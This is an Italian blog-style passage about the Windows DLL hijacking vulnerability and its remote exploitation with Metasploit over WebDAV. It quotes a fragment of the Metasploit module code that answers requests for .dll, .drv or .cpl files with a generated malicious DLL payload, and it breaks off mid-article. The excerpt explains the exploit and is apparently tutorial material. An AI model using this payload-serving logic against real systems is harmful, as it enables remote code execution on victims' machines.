Maggiori info su questa vulnerabilità, le possiamo trovare qui:
[DLL Hijacking] Windows 7 and more application Remote code Exuction => metasplooit
Vediamo ora come cercare applicazioni vulnerabili :D
Sempre nell’articolo sopra citato, ho mostrato come con metasploit è possibile sfruttare questa vulnerabilità, sfruttando webdav, anche da remoto.
L’exploit creato da HD moore, sviluppatore metaploit è molto semplice.
Il codice che interessa a noi è:
if (request.uri =~ /\.(dll|dl|drv|cpl)$/i)
print_status("#{cli.peerhost}:#{cli.peerport} GET => DLL Payload")
return if ((p = regenerate_payload(cli)) == nil)
data = Msf::Util::EXE.to_win32pe_dll(framework, p.encoded)
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
return
end
(continua…)
